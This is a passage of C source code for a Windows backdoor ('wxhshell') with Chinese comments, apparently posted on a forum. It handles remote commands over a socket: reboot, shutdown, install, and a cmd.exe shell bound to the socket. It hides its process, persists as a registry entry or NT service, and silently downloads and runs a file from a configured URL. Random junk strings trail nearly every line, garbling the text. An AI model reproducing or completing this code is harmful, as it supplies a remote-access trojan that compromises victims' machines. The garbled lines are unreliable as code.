      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U C3?XoT\  
    break; WTZP}p1  
  } g#T8WX{(V  
  // 安装 0k0 y'1SL  
  case 'i': { G)M9to  
    if(Install()) MW6d-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S2h?Q $e3  
    else D`2Iy.|!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mq8jPjL  
    break; },e f(  
    } j[v<xo  
  // 卸载 >y &9!G  
  case 'r': { k7W7S`H  
    if(Uninstall()) X~G!{TT_x6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]8<;,}#  
    else $-EbJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _T7tq  
    break; wZ5 + H%x  
    } Y FL9Q<  
  // 显示 wxhshell 所在路径 Ir}r98lz  
  case 'p': { ,?P@ :S<8  
    char svExeFile[MAX_PATH]; ]]J2#mN:n  
    strcpy(svExeFile,"\n\r"); 6$lj$8\  
      strcat(svExeFile,ExeFile); 4&2aJ_ 2 y  
        send(wsh,svExeFile,strlen(svExeFile),0); &+u) +<&;(  
    break; *am.NH\  
    } F$N"&<[c  
  // 重启 ;|5m;x/a  
  case 'b': { S9U,so?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]4ya$%A  
    if(Boot(REBOOT)) .'saUcVg:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pZ}4'GnZI  
    else { eR4%4gW)  
    closesocket(wsh); }PTYNidlR  
    ExitThread(0); HY4X;^hF  
    } ML^c-xY(  
    break; T XWi5f[  
    } a2 e-Q({  
  // 关机 N=YRYU o  
  case 'd': { b)tvXiO1>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $WI=a-;_e  
    if(Boot(SHUTDOWN)) ~q 0)+'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =X'i^Q  
    else { y2bL!Y<s9  
    closesocket(wsh); !ZPaU11  
    ExitThread(0); \cP\I5IW:s  
    } >gtKyn]  
    break; 5zWxI]4d\  
    } V\^3I7F  
  // 获取shell N{U``LV  
  case 's': { -{dsl|Dl  
    CmdShell(wsh); 7aUk?Hf  
    closesocket(wsh); '8R5?9"  
    ExitThread(0); wuSp+?{5k  
    break; </ 3 Shq  
  } dlsVE~_G  
  // 退出 Dm?>U1{   
  case 'x': { rV>/:FG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fgVeB;k|  
    CloseIt(wsh); D<B/oSy  
    break; NHG+l)y:  
    } ![YLY&}s  
  // 离开 }J"}5O2,b  
  case 'q': { &^KmfT5C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =(Y 1y$  
    closesocket(wsh); TO7%TW{L  
    WSACleanup(); ~$-Nl  
    exit(1); &(UVS0=Dp,  
    break; fmC)]O%q  
        } :SjTkfU  
  } _R-[*ucq  
  } q] eSDRW  
P{v>o,a.  
  // 提示信息 WX$mAQDV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O*^=  
} eJFGgJRIvF  
  } {Bk9]:'$5  
oace!si  
  return; \,| Xz|?C  
} ""Nu["|E  
|y=;#A  
// shell模块句柄 SA@MJ>Z  
int CmdShell(SOCKET sock) Ej\EuX  
{ C,T9xm  
STARTUPINFO si; HH =sq  
ZeroMemory(&si,sizeof(si)); |_ZD[v S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J`}5bnFP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZS[(r-)$F  
PROCESS_INFORMATION ProcessInfo; h >V8YJ  
char cmdline[]="cmd"; iy_'D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0?59o!@h  
  return 0; A??(}F L  
} [!9 dA.tF  
+NL^/y<;  
// 自身启动模式 {Wp+Y9c[  
int StartFromService(void) HPJ\]HV(  
{ )vVt{g  
typedef struct `|@#~  
{ A;VjMfoB  
  DWORD ExitStatus; &Ohm]g8{2  
  DWORD PebBaseAddress; FRa@T N/Ic  
  DWORD AffinityMask; P9h]B u  
  DWORD BasePriority; rrBu6\D  
  ULONG UniqueProcessId; :l<)p;\  
  ULONG InheritedFromUniqueProcessId; r_/=iYYJ  
}   PROCESS_BASIC_INFORMATION; _hT-5)1r  
Z@ AHe`A  
PROCNTQSIP NtQueryInformationProcess; h#a;(F4_7  
pUtd_8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *PQu9>1w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v,z s dr"d  
%Ci`O hT  
  HANDLE             hProcess; Z^?1MJ:`  
  PROCESS_BASIC_INFORMATION pbi; U(#)[S,  
eHr|U$Rpo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oL?(; `"&  
  if(NULL == hInst ) return 0; R'bmE:nL  
bH+x `]{A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Hm*<s.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xszGao'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Y B}w  
<WXO].^  
  if (!NtQueryInformationProcess) return 0; ~<b/%l>h1  
Uawf,57v<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3k)W0]:|<  
  if(!hProcess) return 0; zO#{qF+~;  
v^;-w~?3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a#H2H`%  
z"/Mva3|  
  CloseHandle(hProcess); 4u} "ng   
|GPR3%9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 27mGX\T  
if(hProcess==NULL) return 0; !O=?n<Ex"  
x:'M\c7  
HMODULE hMod; ~3k& =3d]  
char procName[255]; jIY    
unsigned long cbNeeded; V=yRE  
gp07I{0~m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v @zpF)|  
:|hFpLt  
  CloseHandle(hProcess); +B^(,qKMN  
]L0GIVIE  
if(strstr(procName,"services")) return 1; // 以服务启动 b~F(2[o  
xs<~[l  
  return 0; // 注册表启动 3#fu; ??1.  
} 7P3PQ%:  
d D6I @N)X  
// 主模块 _isqk~ ul  
int StartWxhshell(LPSTR lpCmdLine) TMt,\gTd  
{ Cj~45)r  
  SOCKET wsl; +$]eA'Bh@  
BOOL val=TRUE; TBq;#+1W  
  int port=0; LxqK@Q<B  
  struct sockaddr_in door; ,(aOTFQS  
7U=|>)Q0s  
  if(wscfg.ws_autoins) Install(); G9?6qb:  
^X2U A{  
port=atoi(lpCmdLine); u{%gB&nC  
*69 yB  
if(port<=0) port=wscfg.ws_port; /8!s C D  
5#jna9Xc  
  WSADATA data; HN'r ZAZ(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M6(oJ*  
+uR|0Jo8X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p^^Ai  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B<.XowT'  
  door.sin_family = AF_INET; /4 zO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7%rSo^t,L  
  door.sin_port = htons(port); e&&;"^@-  
.ZSGnbJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GKPC9;{W  
closesocket(wsl); qGndh  
return 1; g8+w?Zn}  
} p #vZYwe=L  
F 8*e  
  if(listen(wsl,2) == INVALID_SOCKET) { Eyw)f>  
closesocket(wsl); HVb9YU+  
return 1; h&|wqna  
} }z/;^``  
  Wxhshell(wsl); o`^GUY}  
  WSACleanup(); H^jFvAI,8  
(s?`*i:2  
return 0; EZvB#cuL-  
X]'Hz@$N  
} <pd6,l\  
5j(3pV`_  
// 以NT服务方式启动 y w"Tw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !\{&^,y  
{ 4Q0@\dR9  
DWORD   status = 0; X|.M9zIx  
  DWORD   specificError = 0xfffffff; X1*6qd+E  
by*>w/@9)k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JyPsRpi\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2N]u!S;d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W":is"  
  serviceStatus.dwWin32ExitCode     = 0; muLt/.EZ  
  serviceStatus.dwServiceSpecificExitCode = 0; i4T U}.h8  
  serviceStatus.dwCheckPoint       = 0; w, 0tY=h6  
  serviceStatus.dwWaitHint       = 0; LS:3Dtq  
t3 AZS0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bH7[6#y$  
  if (hServiceStatusHandle==0) return; 33d86H% ;  
 & y1' J  
status = GetLastError(); ?p{xt$<p  
  if (status!=NO_ERROR) \jn[kQ+pJ  
{ <j1l&H|ux,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %hK?\Pg3=E  
    serviceStatus.dwCheckPoint       = 0; NN5V|# P}  
    serviceStatus.dwWaitHint       = 0; &s!"pEZWck  
    serviceStatus.dwWin32ExitCode     = status; G9\Bi-'ul  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y""-U3;T~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wpom{-  
    return; 9kPwUAw  
  } oF/5mh__(K  
9%\<x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]d"4G7mu`l  
  serviceStatus.dwCheckPoint       = 0; H[o'j@0  
  serviceStatus.dwWaitHint       = 0; qB3{65  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fFXG;Q8&  
} =YX/]g|9K  
]ABpOrg  
// 处理NT服务事件,比如:启动、停止 ]Jj\**  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ok5 {c  
{ sg 12C  
switch(fdwControl) SdUtAC2  
{ *(ex:1sW  
case SERVICE_CONTROL_STOP: qE6:`f  
  serviceStatus.dwWin32ExitCode = 0; cOUsbxYTD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u(JC 4w'  
  serviceStatus.dwCheckPoint   = 0; 52B ye   
  serviceStatus.dwWaitHint     = 0; hCO*gtA)M  
  { oS)0,p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zypZ3g{vz  
  } gf+Kr02~  
  return; 5EIhCbA  
case SERVICE_CONTROL_PAUSE: ErF;5ec  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LGT\1u  
  break; e , zR  
case SERVICE_CONTROL_CONTINUE: /:>f$k4~h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )!MeSWGq  
  break; p}.P^`~j  
case SERVICE_CONTROL_INTERROGATE: IS7g{:}=p  
  break; DLE|ctzj[7  
}; Kp"mV=RG2T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zMX7 #,  
} !TY4C`/  
\s;]Tg  
// 标准应用程序主函数 y]=v+Q*+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .LafP}%  
{ f+0dwlIlC$  
iR4CY-  
// 获取操作系统版本 9>psQ0IRvr  
OsIsNt=GetOsVer(); MoA2Cp;8X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GFvZdP`s4  
, j ,[4^  
  // 从命令行安装 KtHh--j`  
  if(strpbrk(lpCmdLine,"iI")) Install(); D_O%[u}  
D0PP   
  // 下载执行文件 U;Hu:q*  
if(wscfg.ws_downexe) { H;s0|KRgJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uc%75TJ@  
  WinExec(wscfg.ws_filenam,SW_HIDE); -;T>4B=  
} 2uw%0r3Vi6  
n4)G g~PE  
if(!OsIsNt) { #e&j]Q$Eh  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Ua*}C   
HideProc(); D`e!CprF  
StartWxhshell(lpCmdLine); >8SX,  
} N##T1 Qm)  
else =KNg "|  
  if(StartFromService())  <_MQC  
  // 以服务方式启动 %-]j;'6}cX  
  StartServiceCtrlDispatcher(DispatchTable); ezlp~z"_k  
else -!">SY\  
  // 普通方式启动 MLmc]nL=  
  StartWxhshell(lpCmdLine); }*$-rieg  
".v9#|  
return 0; e`R*6^e  
}
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只看该作者 1 发表于: 2006-10-10
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